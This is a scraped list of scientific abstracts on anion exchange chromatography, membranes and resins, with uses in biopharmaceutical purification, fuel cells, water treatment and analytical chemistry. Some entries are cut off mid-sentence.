Ashley; Gallo, Chris; Godavarti, Ranga; Chen, Shuang; Lute, Scott; Brorson, Kurt 2015-01-01 Anion exchange chromatography (AEX) operated under weak partitioning mode has been proven to be a powerful polishing step as well as a robust viral clearance step in Pfizer's monoclonal antibody (mAb) platform purification process. A multivariate design of experiment (DoE) study was conducted to understand the impact of operating parameters and feedstream impurity levels on viral clearance by weak partitioning mode AEX. Bacteriophage was used initially as a surrogate for neutral and acidic isoelectric point mammalian viruses (e.g., retrovirus and parvovirus). Five different mAbs were used in the evaluation of process parameters such as load challenge (both product and impurities), load pH, load conductivity, and contact time (bed height and flow-rate). The operating ranges obtained from phage clearance studies and Pfizer's historical data were used to define an appropriate operating range for a subsequent clearance study with model retrovirus and parvovirus. Both phage and virus clearance evaluations included feedstreams containing different levels of impurities such as high molecular mass species (HMMS), host cell proteins (HCPs), and host cell DNA. For all the conditions tested, over 5 log10 of clearance for both retrovirus and parvovirus was achieved. The results demonstrated that weak partitioning mode AEX chromatography is a robust step for viral clearance and has the potential to be included as part of the modular viral clearance approach. 9. Poly(phenyl sulfone) anion exchange membranes with pyridinium groups for vanadium redox flow battery applications Zhang, Bengui; Zhang, Enlei; Wang, Guosheng; Yu, Ping; Zhao, Qiuxia; Yao, Fangbo 2015-05-01 To develop high performance and cost-effective membranes with low permeability of vanadium ions for vanadium redox flow battery (VRFB) application, poly(phenyl sulfone) anion exchange membranes with pyridinium groups (PyPPSU) are prepared and first investigated for VRFB application. PyPPSU membranes show much lower vanadium ions permeability (0.07 × 10-7-0.15 × 10-7 cm2 min-1) than that of Nafion 117 membrane (31.3 × 10-7 cm2 min-1). As a result, the self-discharge duration of the VRFB cell with PyPPSU membrane (418 h) is about four times longer than that of VRFB cell with Nafion 117 membrane (110 h). Furthermore, the VRFB cell with PyPPSU membrane exhibits higher battery efficiency (coulombic efficiency of 97.8% and energy efficiency of 80.2%) compare with that of VRFB cell with Nafion 117 membrane (coulombic efficiency of 96.1% and energy efficiency of 77.2%) at a high current density of 100 mA cm-2. In addition, PyPPSU membrane exhibits stable performance in 100-cycle test. The results indicate that PyPPSU membrane is high performance and low-cost alternative membrane for VRFB application. 10. PLUTONIUM LOADING CAPACITY OF REILLEX HPQ ANION EXCHANGE COLUMN - AFS-2 PLUTONIUM FLOWSHEET FOR MOX SciTech Connect Kyser, E.; King, W.; O'Rourke, P. 2012-07-26 11. Enhanced performance of anion exchange membranes via crosslinking of ion cluster regions for fuel cells Lai, Ao Nan; Guo, Dong; Lin, Chen Xiao; Zhang, Qiu Gen; Zhu, Ai Mei; Ye, Mei Ling; Liu, Qing Lin 2016-09-01 Development of anion exchange membranes (AEMs) with high hydroxide conductivity, good dimensional and alkaline stabilities is still a challenge for the practical application of AEM fuel cells. In this study, we report a new strategy to prepare high-performance AEMs with crosslinked ionic regions. A series of phenolphthalein-containing poly(arylene ether sulfone)s crosslinked AEMs was synthesized by grafting ion groups selectively and densely on the phenolphthalein units to form ion clusters that are further crosslinked to generate the hydrophilic ionic regions. The crosslinking reaction not only improved the dimensional stability of the AEMs, but also increased the aggregation of the ion clusters leading to the formation of hydrophilic/hydrophobic phase-separated morphology and ion-conducting channels. As a result, enhancements in both ion conductivity and dimensional stability can be achieved. The crosslinked AEMs showed high hydroxide conductivities in the range of 52.2-143.4 mS cm-1 from 30 to 80 °C and a superb ratio of relative conductivity to relative swelling at 80 °C. Furthermore, the crosslinked AEMs also exhibited good mechanical properties, thermal and alkaline stabilities and desirable single cell performance. This work presents a promising strategy for the synthesis of high-performance AEMs for fuel cells. 12. Tunable High Performance Cross-Linked Alkaline Anion Exchange Membranes for Fuel Cell Applications SciTech Connect Robertson, Nicholas J.; Kostalik, IV, Henry A.; Clark, Timothy J.; Mutolo, Paul F.; Abruña, Héctor D.; Coates, Geoffrey W. 2010-02-23 Fuel cells are energy conversion devices that show great potential in numerous applications ranging from automobiles to portable electronics. However, further development of fuel cell components is necessary for them to become commercially viable. One component critical to their performance is the polymer electrolyte membrane, which is an ion conductive medium separating the two electrodes. While proton conducting membranes are well established (e.g., Nafion), hydroxide conducting membranes (alkaline anion exchange membranes, AAEMs) have been relatively unexplored by comparison. Operating under alkaline conditions offers significant efficiency benefits, especially for the oxygen reduction reaction; therefore, effective AAEMs could significantly advance fuel cell technologies. Here we demonstrate the use of ring-opening metathesis polymerization to generate new cross-linked membrane materials exhibiting high hydroxide ion conductivity and good mechanical properties. Cross-linking allows for increased ion incorporation, which, in turn supports high conductivities. This facile synthetic approach enables the preparation of cross-linked materials with the potential to meet the demands of hydrogen-powered fuel cells as well as direct methanol fuel cells. 13. Anion exchange chromatographic separation of inositol phosphates and their quantification by gas chromatography. PubMed Heathers, G P; Juehne, T; Rubin, L J; Corr, P B; Evers, A S 1989-01-01 The direct measurement of mass of inositol trisphosphate from biologic samples is described. Separation of inositol monophosphate, bisphosphate, trisphosphate, and inositol tetrakisphosphate was achieved using anion exchange chromatography with a sodium sulfate gradient. In addition, separation of the isomers of each inositol phosphate was performed using HPLC procedures. The individual inositol phosphate fractions were subsequently dephosphorylated and desalted. The myo-inositol from each fraction was then derivatized to the hexatrimethylsilyl derivative and the myo-inositol derivatives were quantified by a novel gas chromatographic analysis using the hexatrimethylsilyl derivative of chiro-inositol as an internal concentration reference. This method is a reproducible and relatively rapid procedure for the direct quantification of inositol phosphate mass which overcomes many of the problems associated with the use of radiolabeled precursors. The method is a significant improvement over existing procedures for the quantitative determination of the mass of inositol phosphate by virtue of improved recovery, sensitivity, and technical simplicity. The applicability of this method is illustrated by the quantitative determination of inositol trisphosphate in response to norepinephrine stimulation of adult canine myocytes and cerebral cortical brain slices and by measurement of the isomers of inositol trisphosphate in isolated myocytes. 14. Polyphenylene sulfide based anion exchange fiber: synthesis, characterization and adsorption of Cr(VI). PubMed Huang, Jiajia; Zhang, Xin; Bai, Lingling; Yuan, Siguo 2012-01-01 A fibrous strong base anion exchanger (QAPPS) was prepared for the first time via chloromethylation and quaternary amination reaction of polyphenylene sulfide fiber (PPS), and its physical-chemical structure and adsorption behavior for Cr(VI) were characterized by FTIR, Energy Dispersive Spectrometry, TG-DTG, elemental analysis and batch adsorptive technique, respectively. The novel fibrous adsorbent could effectively adsorb Cr(VI) over the pH range 1-12, the maximum adsorption capacity was 166.39 mg/g at pH 3.5, and the adsorption behavior could be described well by Langmuir isotherm equation model. The adsorption kinetics was studied using pseudo first-order and pseudo second-order models, and the t1/2 and equilibrium adsorption time were 5 and 20 min respectively when initial Cr(VI) concentration was 100 mg/L. The saturated fibers could be regenerated rapidly by a mixed solution of 0.5 mol/L NaOH and 0.5 mol/L NaCl, and the adsorption capacity was well maintained after six adsorption-desorption cycles. 15. The structure and organization of the human erythroid anion exchanger (AE1) gene SciTech Connect Sahr, K.E.; Taylor, W.M.; Daniels, B.P. 1994-12-01 The AE1 (anion exchanger, band 3) protein is expressed in erythrocytes and in the A-type intercalated cells of the kidney distal collecting tubule. In both cell types it mediates the electroneutral transport of chloride and bicarbonate ions across the lipid bilayer, and, in erythrocytes, it also serves as the critical attachment site of the peripheral membrane skeleton. We have characterized the human AE1 gene using overlapping clones isolated from a phage library of human genomic DNA. The gene spans {approximately}20 kb and consists of 20 exons separated by 19 introns. The structure of the human AE1 gene corresponds closely with that of the previously characterized mouse AE1 gene, with a high degree of conservation of exon/intron junctions, as well as exon and intron nucleotide sequences. The putative upstream and internal promoter sequences of the human AE1 gene used in erythroid and kidney cells, respectively, are described. We also report the nucleotide sequence of the entire 3{prime} noncoding region of exon 20, which was lacking in the published cDNA sequences. In addition, we have characterized 9 Alu repeat elements found within the body of the human AE1 gene that are members of 4 related subfamilies that appear to have entered the genome at different times during primate evolution. 59 refs., 5 figs., 2 tabs. 16. Organic-inorganic hybrid anion exchange hollow fiber membranes: a novel device for drug delivery. PubMed Wang, Na; Wu, Cuiming; Cheng, Yiyun; Xu, Tongwen 2011-04-15 The clinical use of nonsteroidal anti-inflammatory drugs (NSAIDs) (such as sodium salicylate (NaSA)) for the treatment of chronic arthritis is limited due to the adverse effects and patient non-compliance. In order to solve these problems, anion exchange hollow fiber membranes (AEHFMs) are proposed for the first time here as potential drug carriers. Brominated poly(2,6-dimethyl-1,4-phenylene oxide) (BPPO) is used as the starting membrane material. In-situ sol-gel process of γ-methacryloxypropyl trimethoxysilane (γ-MPS) in BPPO matrix is operated so as to enhance the membranes' thermal and dimensional stability. The performances of the membranes in controlled release of the drug (NaSA as the model drug) are improved accordingly. Loading and release experiments illustrate that the hybrid AEHFM can bind salicylate (SA⁻) at a high loading efficiency (28.4%), and the retention of the drug on the membrane matrix is significantly prolonged (drug released in 7 days under physiological condition: 51.9%, neglecting the drug bound by protein). Meanwhile, the membrane is biocompatible and can support the adherence, growth, and survival of human cells. Overall, the prepared AEHFM is a promising scaffolding material for drug delivery and tissue engineering. 17. Water uptake, ionic conductivity and swelling properties of anion-exchange membrane SciTech Connect Duan, QJ; Ge, SH; Wang, CY 2013-12-01 Water uptake, ionic conductivity and dimensional change of the anion-exchange membrane made by Tokuyama Corporation (A201 membrane) are investigated at different temperatures and water activities. Specifically, the amount of water taken up by membranes exposed to water vapor and membranes soaked in liquid water is determined. The water uptake of the A201 membrane increases with water content as well as temperature. In addition, water sorption data shows Schroeder's paradox for the AEMs investigated. The swelling properties of the A201 membrane exhibit improved dimensional stability compared with Nafion membrane. Water sorption of the A201 membrane occurs with a substantial negative excess volume of mixing. The threshold value of hydrophilic fraction in the A201 membrane for ionic conductivity is around 0.34, above which, the conductivity begins to rise quickly. This indicates that a change in the connectivity of the hydrophilic domains occurs when hydrophilic fraction approaches 0.34. (C) 2013 Elsevier B.V. All rights reserved. 18. Characterisation of brewpub beer carbohydrates using high performance anion exchange chromatography coupled with pulsed amperometric detection. PubMed Arfelli, Giuseppe; Sartini, Elisa 2014-01-01 High performance anion exchange chromatography (HPAEC) coupled with pulsed amperometric detection (PAD) was optimised in order to quantify mannose, maltose, maltotriose, maltotetraose, maltopentaose, maltohexaose and maltoheptaose content of beer. The method allows the determination of above mentioned oligosaccharides, in a single chromatographic run, without any pre-treatment. Limit of detection and limit of quantification were suitable for beer. Accuracy and repeatability were good for the entire amount considered. Once optimised HPAEC PAD for the specific matrix, the second goal of this research was to verify the possibility to discriminate beers, depending on their style. The carbohydrates content of brewpub commercial beers was very variable, ranging from 19.3 to 1469mg/L (mannose), 34.5 to 2882mg/L (maltose), 141.9 to 20731mg/L (maltotriose), 168.5 to 7650mg/L (maltotetraose), 20.1 to 2537mg/L (maltopentaose), 22.9 to 3295mg/L (maltohexaose), 8.5 to 2492mg/L (maltoeptaose), even in the same style of beer. However, the carbohydrates content was useful, jointed with other compounds amount, to discriminate different styles of beer. As a matter of fact, principal component analysis put in evidence beer differences considering some fermentation conditions and colour. 19. Nature identification and morphology characterization of anion-exchange membrane fouling during conventional electrodialysis. PubMed Ayala-Bribiesca, Erik; Pourcelly, Gérald; Bazinet, Laurent 2007-04-01 The aim of this work was to study the effect on the fouling of anion-exchange membranes (AEM) of (1) the pH value of the concentrate solution and (2) the composition in calcium, carbonate, and protein of the diluate solution to be treated by conventional electrodialysis. It appeared that after demineralization of solutions containing CaCl(2) using a concentrate solution maintained at a pH value of 7 or 12, mineral fouling appeared on the AEM surface in contact with the concentrate. The mineral deposits presented a cylindrical filament shape for conditions with a concentrate solution pH value of 7, while, for a pH value of 12, the mineral deposit had a crumbly and spongy texture formed by irregular aggregates. The nature of the fouling was identified as a calcium phosphate with or without calcium hydroxide. In addition, gel-like protein fouling was detected on the AEM surface in contact with the diluate after demineralization procedures using a concentrate pH value of 2 or 7, regardless of the mineral composition of the diluate. 20. Phosphate removal from wastewaters using a weak anion exchanger prepared from a lignocellulosic residue. PubMed Anirudhan, T S; Noeline, B F; Manohar, D M 2006-04-15 Surface modifications of lignocellulosic residues has become increasingly important for improving their applications as adsorbents. In this study a new adsorbent system (BS-DMAHP) containing dimethylaminohydroxypropyl (DMAHP) weak base groups was prepared by the reaction of banana stem (BS), a lignocellulosic residue with epichlorohydrin and dimethylamine followed by treatment of hydrochloric acid. The original BS and BS-DMAHP were characterized with the help of surface area analyzer, infrared spectroscopy (IR) and scanning electron microscopy (SEM). Surface charge density of the samples as a function of pH was investigated using potentiometric titrations. Adsorbent exhibits very high adsorption potential for phosphate and more than 99.0% removal was achieved in the pH range of 5.0-7.0. Adsorption has been found to be concentration dependent and endothermic and follows a reversible second-order kinetics. The Langmuir and Freundlich isotherm models were applied to describe the equilibrium data. Equilibrium data agreed very well with the Langmuir model. Adsorption experiments were conducted using a commercial chloride form Duolite A-7, a weak base anion exchanger. The removal efficiency was tested using fertilizer industry wastewater. Adsorbed phosphate on BS-DMAHP can be recovered by treating with 0.1 M NaOH solution. A stability test operated for four cycles indicate a capacity loss of < 12.0%. 1. Weak anion exchange chromatographic profiling of glycoprotein isoforms on a polymer monolithic capillary. PubMed Liu, Jing; Ren, Lianbing; Liu, Yunchun; Li, Hengye; Liu, Zhen 2012-03-09 High resolution separation of intact glycoproteins, which is essential for many aspects such as finger-print profiling, represents a great challenge because one glycoprotein can exhibit many isoforms with close physicochemical properties. Monolithic columns are important separation media for the separation of intact proteins due to its significant advantages such as easy preparation, high column efficiency and high permeability. However, there are few reports on high resolution profiling of intact glycoproteins. Herein, we presented a polymeric weak anion exchange (WAX) monolithic capillary for high resolution separation of glycoprotein isoforms. A base monolith was first prepared through ring-opening polymerization between tris(2,3-epoxypropyl)isocyanurate and tri(2-aminoethyl), and then modified through reacting with ammonia aqueous solution to convert the unreacted epoxide moieties into primary amino groups. The prepared monolithic capillary was characterized in terms of morphology, pore size, hydrophilicity and reproducibility. The obtained WAX monolithic capillary exhibited desired through-pores and mesopore size, stable skeleton and hydrophilic nature. The performance of the capillary was evaluated using several typical glycoproteins such as α(1)-acid glycoprotein (AGP) as mode analytes. Effects of the experimental parameters on the glycoform resolution were investigated. Under the optimized separation conditions, the tested glycoproteins were all resolved into distinct glycoforms. A comparative investigation with capillary zone electrophoresis (CZE) revealed that this WAX column provided better selectivity as more isoforms were observed, although the resolution of some glycoprotein isoforms decreased. 2. Multi-modal applicability of a reversed-phase/weak-anion exchange material in reversed-phase, anion-exchange, ion-exclusion, hydrophilic interaction and hydrophobic interaction chromatography modes. PubMed Lämmerhofer, Michael; Nogueira, Raquel; Lindner, Wolfgang 2011-06-01 We recently introduced a mixed-mode reversed-phase/weak anion-exchange type separation material based on silica particles which consisted of a hydrophobic alkyl strand with polar embedded groups (thioether and amide functionalities) and a terminal weak anion-exchange-type quinuclidine moiety. This stationary phase was designed to separate molecules by lipophilicity and charge differences and was mainly devised for peptide separations with hydroorganic reversed-phase type elution conditions. Herein, we demonstrate the extraordinary flexibility of this RP/WAX phase, in particular for peptide separations, by illustrating its applicability in various chromatographic modes. The column packed with this material can, depending on the solute character and employed elution conditions, exploit attractive or repulsive electrostatic interactions, and/or hydrophobic or hydrophilic interactions as retention and selectivity increments. As a consequence, the column can be operated in a reversed-phase mode (neutral compounds), anion-exchange mode (acidic compounds), ion-exclusion chromatography mode (cationic solutes), hydrophilic interaction chromatography mode (polar compounds), and hydrophobic interaction chromatography mode (e.g., hydrophobic peptides). Mixed-modes of these chromatographic retention principles may be materialized as well. This allows an exceptionally flexible adjustment of retention and selectivity by tuning experimental conditions. The distinct separation mechanisms will be outlined by selected examples of peptide separations in the different modes. 3. Eu(III) complexes as anion-responsive luminescent sensors and paramagnetic chemical exchange saturation transfer agents. PubMed Hammell, Jacob; Buttarazzi, Leandro; Huang, Ching-Hui; Morrow, Janet R 2011-06-06 The Eu(III) complex of (1S,4S,7S,10S)-1,4,7,10-tetrakis(2-hydroxypropyl)-1,4,7,10-tetraazacyclododecane (S-THP) is studied as a sensor for biologically relevant anions. Anion interactions produce changes in the luminescence emission spectrum of the Eu(III) complex, in the (1)H NMR spectrum, and correspondingly, in the PARACEST spectrum of the complex (PARACEST = paramagnetic chemical exchange saturation transfer). Direct excitation spectroscopy and luminescence lifetime studies of Eu(S-THP) give information about the speciation and nature of anion interactions including carbonate, acetate, lactate, citrate, phosphate, and methylphosphate at pH 7.2. Data is consistent with the formation of both innersphere and outersphere complexes of Eu(S-THP) with acetate, lactate, and carbonate. These anions have weak dissociation constants that range from 19 to 38 mM. Citrate binding to Eu(S-THP) is predominantly innersphere with a dissociation constant of 17 μM. Luminescence emission peak changes upon addition of anion to Eu(S-THP) show that there are two distinct binding events for phosphate and methylphosphate with dissociation constants of 0.3 mM and 3.0 mM for phosphate and 0.6 mM and 9.8 mM for methyl phosphate. Eu(THPC) contains an appended carbostyril derivative as an antenna to sensitize Eu(III) luminescence. Eu(THPC) binds phosphate and citrate with dissociation constants that are 10-fold less than that of the Eu(S-THP) parent, suggesting that functionalization through a pendent group disrupts the anion binding site. Eu(S-THP) functions as an anion responsive PARACEST agent through exchange of the alcohol protons with bulk water. The alcohol proton resonances of Eu(S-THP) shift downfield in the presence of acetate, lactate, citrate, and methylphosphate, giving rise to distinct PARACEST peaks. In contrast, phosphate binds to Eu(S-THP) to suppress the PARACEST alcohol OH peak and carbonate does not markedly change the alcohol peak at 5 mM Eu(S-THP), 15 mM carbonate at p 4. Intercalation chemistry in a LDH system: anion exchange process and staging phenomenon investigated by means of time-resolved, in situ X-ray diffraction. PubMed Taviot-Guého, Christine; Feng, Yongjun; Faour, Azzam; Leroux, Fabrice 2010-07-14 Using time-resolved, in situ energy-dispersive X-ray diffraction (EDXRD), the formation of interstratified LDH structures, with alternate interlayer spaces occupied by different anions, have been demonstrated during anion exchange reactions. Novel hybrid LDH nanostructures can thus be prepared, combining the physicochemical properties of two intercalated anions plus those of the LDH host. A general trend is that inorganic-inorganic anion exchange reactions occur in a one-step process while inorganic-organic exchanges may proceed via a second-stage intermediate, suggesting that staging occurs partly as a result of organic-inorganic separation. Yet, other influencing parameters must be considered such as LDH host composition, LDH affinity for different anions and LDH particle size as well as extrinsic parameters like the reaction temperature. Hence, a correlation between the occurrence of staging phenomenon and the difficulty of the exchange of the initial anion is observed, suggesting that staging is needed to overcome the energy barrier in the case of the exchange by organic anions. Notwithstanding the LiAl(2) system, staging has mainly been observed with Zn(2)Cr LDH host so far, a peculiar LDH composition with a unique Zn/Cr ratio of two and a local order of the cations within the hydroxide layers. The formation of a higher order-staged intermediate than stage two, observed during the exchange reaction of CO(3)(2-) or SO(4)(2-) anions with Zn(2)Cr-tartrate, is in favour of a Daumas-Herold model although this model implies a bending of LDH layers. The analysis of the X-ray powder diffraction pattern of Zn(2)Cr-Cl/tartrate second-stage intermediate, isolated almost as a pure phase during the exchange of Cl(-) with tartrate anions in Zn(2)Cr LDH, indicates a disorder in the stacking sequence and a relative proportion of the two kinds of interlayers slightly different from 50/50. Besides, the microstructural analysis of the XRD pattern reveals a great reduction of the 5. Framework Cationization by Preemptive Coordination of Open Metal Sites for Anion-Exchange Encapsulation of Nucleotides and Coenzymes. PubMed Zhao, Xiang; Mao, Chengyu; Luong, Karen Tu; Lin, Qipu; Zhai, Quan-Guo; Feng, Pingyun; Bu, Xianhui 2016-02-18 Cationic frameworks can selectively trap anions through ion exchange, and have applications in ion chromatography and drug delivery. However, cationic frameworks are much rarer than anionic or neutral ones. Herein, we propose a concept, preemptive coordination (PC), for targeting positively charged metal-organic frameworks (P-MOFs). PC refers to proactive blocking of metal coordination sites to preclude their occupation by neutralizing ligands such as OH(-) . We use 20 MOFs to show that this PC concept is an effective approach for developing P-MOFs whose high stability, porosity, and anion-exchange capability allow immobilization of anionic nucleotides and coenzymes, in addition to charge- and size-selective capture or separation of organic dyes. The CO2 and C2 H2 uptake capacity of 117.9 cm(3) g(-1) and 148.5 cm(3) g(-1) , respectively, at 273 K and 1 atm, is exceptionally high among cationic framework materials. 6. Selective Anion Exchange Resins for the Removal of Perchlorate [(CIO{sub 4}{sup -})] from Groundwater SciTech Connect Gu, B. 1999-05-20 The primary objective of this project was to evaluate a novel bifunctional anion exchange resin for the cost-effective, in situ treatment of groundwater contaminated with perchlorate (ClO{sub 4}{sup -}). Both laboratory and field studies were performed to determine the selectivity and capacity of the bifunctional synthetic resins to sorb ClO{sub 4}{sup -} from simulated or actual contaminated groundwater. A number of synthetic bifunctional resins, including two commercial versions made by Purolite International and three commercially available, mono-functional resins, were tested. Initial laboratory batch and column breakthrough studies determined the best synthetic resins and the optimal conditions for the field experiment. Laboratory results indicated that the bifunctional synthetic resins, D-3696 and RO-02-119 were highly selective toward ClO{sub 4}{sup -} and performed {approx}5 times better than the best commercial nitrate resin (Purolite{reg_sign} A-520E) and more than an order of magnitude better than some nonselective commercial resins (e.g. Amberlite{reg_sign} IRA-900). The bifunctional resins were particularly effective in removing trace quantities of ClO{sub 4}{sup -} in groundwater to below the detection limit ({approx} 3 {micro}g/L). A field trial demonstrated that the bifunctional resin (D-3696) was able to treat {approx} 110,000 bed volumes of groundwater before a 10% breakthrough of ClO{sub 4}{sup -} occurred under the column flow-through conditions (running at {approx} 2 bed volumes per minute). On the other hand, the Purolite{reg_sign} A-520E resin was able to treat {approx} 23,000 bed volumes of groundwater under the same experimental conditions. No pretreatment was needed to remove either dissolved organic matter or other competing anions (such as SO{sub 4}{sup 2-} or NO{sub 3}{sup -}) in the groundwater, and the treatment process did not alter the water quality by removing or adding secondary by-products because of the high selectivity of the 7. Formation of periodic interfacial misfit dislocation array at the InSb/GaAs interface via surface anion exchange Jia, Bo Wen; Tan, Kian Hua; Loke, Wan Khai; Wicaksono, Satrio; Yoon, Soon Fatt 2016-07-01 The relationship between growth temperature and the formation of periodic interfacial misfit (IMF) dislocations via the anion exchange process in InSb/GaAs heteroepitaxy was systematically investigated. The microstructural and electrical properties of the epitaxial layer were characterized using atomic force microscope, high-resolution x-ray diffraction, transmission electron microscopy, and Hall resistance measurement. The formation of interfacial misfit (IMF) dislocation arrays depended on growth temperature. A uniformly distributed IMF array was found in a sample grown at 310 °C, which also exhibited the lowest threading dislocation density. The analysis suggested that an incomplete As-for-Sb anion exchange process impeded the formation of IMF on sample grown above 310 °C. At growth temperature below 310 °C, island coalescence led to the formation of 60° dislocations and the disruption of periodic IMF array. All samples showed higher electron mobility at 300 K than at 77 K. 8. Anion- or Cation-Exchange Membranes for NaBH4/H2O2 Fuel Cells? PubMed Central Šljukić, Biljana; Morais, Ana L.; Santos, Diogo M. F.; Sequeira, César A. C. 2012-01-01 Direct borohydride fuel cells (DBFC), which operate on sodium borohydride (NaBH4) as the fuel, and hydrogen peroxide (H2O2) as the oxidant, are receiving increasing attention. This is due to their promising use as power sources for space and underwater applications, where air is not available and gas storage poses obvious problems. One key factor to improve the performance of DBFCs concerns the type of separator used. Both anion- and cation-exchange membranes may be considered as potential separators for DBFC. In the present paper, the effect of the membrane type on the performance of laboratory NaBH4/H2O2 fuel cells using Pt electrodes is studied at room temperature. Two commercial ion-exchange membranes from Membranes International Inc., an anion-exchange membrane (AMI-7001S) and a cation-exchange membrane (CMI-7000S), are tested as ionic separators for the DBFC. The membranes are compared directly by the observation and analysis of the corresponding DBFC’s performance. Cell polarization, power density, stability, and durability tests are used in the membranes’ evaluation. Energy densities and specific capacities are estimated. Most tests conducted, clearly indicate a superior performance of the cation-exchange membranes over the anion-exchange membrane. The two membranes are also compared with several other previously tested commercial membranes. For long term cell operation, these membranes seem to outperform the stability of the benchmark Nafion membranes but further studies are still required to improve their instantaneous power load. PMID:24958292 9. Preparation and Characterization of an Alkaline Anion Exchange Membrane from Chlorinated Poly(propylene) Aminated with Branched Poly(ethyleneimine) DTIC Science & Technology 2013-01-01 was produced through amination of chlorinated poly(propylene) (PP) with poly(ethyleneimine) (PEI) and quaternized with iodoethane. The synthesis of...PP) with poly(ethyleneimine) (PEI) and quaternized with iodoethane. The synthesis of the new polymer is confirmed by FTIR 1 H and 13 C NMR. The...Article history : Received 4 December 2012 Received in revised form 29 March 2013 Accepted 2 April 2013 Available online Keywords: Anion exchange 10. Synthesis of blue-photoluminescent graphene quantum dots/polystyrenic anion-exchange resin for Fe(III) detection Zhang, Wenjun; Gan, Jie 2016-05-01 A novel solid fluorescent sensor with millimeter size, based on graphene quantum dots/polystyrenic anion-exchange resin (GQDs/PS-AER) was obtained for the detection of Fe3+. The linear response range of Fe3+ was obtained from 1 μM to 7 μM and the detection limit was as low as 0.65 μM. In addition, the sensor could be regenerated by adding complexing agent EDTA and be separated by using simple filtration. 11. Separation of boric acid in liquid waste with anion exchange membrane contactor SciTech Connect Park, J.K.; Lee, K.J. 1995-12-31 In order to separate boric acid in liquid waste, some possible technologies were investigated and the membrane contactor without dispersion and density differences was selected. The separation experiments on a Celgard 3401{reg_sign} hydrophilic microporous membrane contactor were first performed to obtain the basic data and to determine the properties of the contactor. The experimental conditions were as follows: boric acid concentrations up to 2.0 M, pH 7.0, temperatures of 25 and 55 C, and flow rates of 100, 300, 500, and 800 cm{sup 3}/min. Secondly, an AFN{reg_sign} anion exchange membrane contactor was tested at temperatures of 40 and 55 C and flow rate 400 cm{sup 3}/min. Boric acid solutions were prepared by the same method as that for Celgard 3401{reg_sign} but contained 5.0{times}10{sup {minus}4} M cobalt chloride (CoCl{sub 2}). To simulate membrane contractors, parameters such as the differential diffusion coefficients of boric acid and the mass transfer coefficients in the AFN membrane were measured, and regression models estimating the diffusion coefficient at several conditions were developed. The Celgard 3401{reg_sign} membrane contactor was simulated and compared with experimental data. Simulation results agreed with the experimental data well when a proper correction factor was utilized. The correction factor was independent of the solution temperature and was 8.75 at the flow rates of 300--800 cm{sup 3}/min. This correction factor was also applied to simulate the AFN{reg_sign} resulted in a good agreement with experiment at 40 C, but not 55 C. The retention on cobalt was also better at 40 c than 55 C. The simulating computer program was also applied to a life size contactor designed conceptually. 12. Anion exchange SPE and liquid chromatography-tandem mass spectrometry in GHB analysis. PubMed Elian, Albert A; Hackett, Jeffery 2011-12-01 In this study, the extraction of γ-hydroxybutyrate (GHB) from urine using solid-phase extraction (SPE) is described. SPE was performed on anion exchange columns after samples of urine had been diluted with de-ionized water. After application of the diluted samples containing GHB-d(6) as an internal standard, the sorbent was washed with deionized water and methanol and dried. The GHB was eluted from the SPE column with a solvent consisting of methanol containing 6% glacial acetic acid. The eluent was collected, evaporated to dryness, and dissolved in mobile phase (100 μL) for analysis by liquid chromatography-tandem mass spectrometry (LC-MS/MS) in negative multiple reaction monitoring (MRM) mode. Liquid chromatography was performed in gradient mode employing a biphenyl column and a mobile phase consisting of acetontitrile (containing 0.1% formic acid) and 0.1% aqueous formic acid. The total run time for each analysis was less than 5 min. The limits of detection/quantification for this method were determined to be 50 and 100 ng/mL, respectively. The method was found to be linear from 500 ng/mL to 10,000 ng/mL (r(2)>0.995). The recovery of GHB was found to be greater than 75%. In this report, results of authentic urine samples analyzed for GHB by this method are presented. GHB concentrations in these samples were found to be range from less than 500 ng/mL to 5110 ng/mL. 13. Anion-exchange purification of recombinant factor IX from cell culture supernatant using different chromatography supports. PubMed Ribeiro, Daniel A; Passos, Douglas F; Ferraz, Helen C; Castilho, Leda R 2013-11-01 Both recombinant and plasma-derived factor IX concentrates are used in replacement therapies for the treatment of haemophilia B. In the present work, the capture step for a recombinant FIX (rFIX) purification process was investigated. Different strong anion-exchange chromatography media (the resins Q Sepharose(®) FF and Fractogel(®) TMAE, the monolith CIM(®) QA and the membrane adsorber Sartobind(®) Q) were tested for their rFIX binding capacity under dynamic conditions. In these experiments, crude supernatant from CHO cells was used, thus in the presence of supernatant contaminants and mimicking process conditions. The highest dynamic binding capacity was obtained for the monolith, which was then further investigated. To study pseudoaffinity elution of functional rFIX with Ca(2+) ions, a design of experiments to evaluate the effects of pH, NaCl and CaCl2 on yield and purification factor was carried out. The effect of pH was not statistically significant, and a combination of no NaCl and 45mM CaCl2 yielded a good purification factor combined with a high yield of active rFIX. Under these conditions, activity yield of rFIX was higher than the mass yield, confirming selective elution of functional, γ-carboxylated rFIX. Scaling-up of this process 8 fold resulted in very similar process performance. Monitoring of the undesired activated FIX (FIXa) revealed that the FIXa/FIX ratio (1.94%) was higher in the eluate than in the loaded sample, but was still within an acceptable range. HCP and DNA clearances were high (1256 and 7182 fold, respectively), indicating that the proposed process is adequate for the intended rFIX capture step. 14. Selective removal of phosphate from wastewater using hydrated metal oxides dispersed within anionic exchange media. PubMed Acelas, Nancy Y; Martin, Benjamin D; López, Diana; Jefferson, Bruce 2015-01-01 Hydrated ferric oxide (HFeO), hydrated zirconium oxide (HZrO) and hydrated copper oxide (HCuO) were immobilized within a microporous anion exchange resin (IRA-400), forming hybrid media for enhanced phosphate removal from aqueous systems. Empirical data from batch kinetic trials fitted the pseudo second order mechanism for chemical adsorption and each media was rate limited by intraparticle diffusion overall. These models were also used to predict the adsorption rate constants and the equilibrium adsorption capacities, which ranged from 26.51 to 30.44 mgP g(-1), and from 24.15 to 27.90 mgP g(-1) of media for the calculated and experimental capacities, respectively. The phosphate adsorption behavior by the hybrid materials fit both the Langmuir and Freundlich adsorption isotherms (R(2)>0.94), and the maximum adsorption capacities were 111.1 mgP g(-1) for HFeO, 91.74 mgP g(-1) for HZrO and 74.07 mgP g(-1) for HCuO. The effect of competing ions such as sulfate reduced these capacities to 18.52 mgP g(-1) for HFeO and 18.97 mgP g(-1) for HZrO. Despite this decrease, HFeO was capable of reducing the phosphate in a real wastewater matrix by 83%, and the HZrO media was able to reduce it by 86%, suggesting that such hybrid media have the potential for application at full scale. 15. Chemical separation of Mo and W from terrestrial and extraterrestrial samples via anion exchange chromatography. PubMed Nagai, Yuichiro; Yokoyama, Tetsuya 2014-05-20 A new two-stage chemical separation method was established using an anion exchange resin, Eichrom 1 × 8, to separate Mo and W from four natural rock samples. First, the distribution coefficients of nine elements (Ti, Fe, Zn, Zr, Nb, Mo, Hf, Ta, and W) under various chemical conditions were determined using HCl, HNO3, 